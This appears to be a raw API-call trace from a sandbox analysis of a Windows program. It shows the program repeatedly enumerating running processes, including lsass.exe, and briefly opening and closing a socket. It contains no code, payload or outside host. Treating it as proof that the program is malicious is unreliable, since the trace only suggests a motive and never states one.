	[0119.677] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0119.678] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0119.679] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0119.680] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.990] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0119.991] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.992] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0119.993] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0119.994] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0119.995] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.996] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.997] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0119.997] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.998] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.000] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.001] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.002] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.004] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.005] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0120.005] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.006] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0120.007] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0120.021] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.040] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.064] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.084] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.292] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.309] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.326] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.611] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.629] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0120.646] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.118] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.134] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.151] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.423] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.440] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0121.456] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0122.521] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0122.540] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0122.558] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0122.576] socket (af=2, type=1, protocol=0) returned 0x484
	[0122.577] SetEvent (hEvent=0x144) returned 1
	[0122.577] Sleep (dwMilliseconds=0x0) 
	[0122.580] TestWindowProcess () returned 0x1
	[0122.580] SendMessageWorker () 
	[0122.580] closesocket (s=0x484) returned 0
	[0123.344] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0123.362] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0123.379] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0123.642] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0123.660] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0123.691] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.419] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.436] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.453] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.704] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.725] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.745] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.517] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.534] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.551] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.813] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.831] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0125.849] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.433] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.451] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.469] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.732] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.750] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0126.768] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.524] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.542] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.560] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.826] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.845] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0127.862] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0128.716] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0128.735] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0128.754] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0128.885] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0128.908] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0129.680] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0129.697] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0129.733] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0129.878] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0130.643] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0130.662] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0130.680] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.548] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.566] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
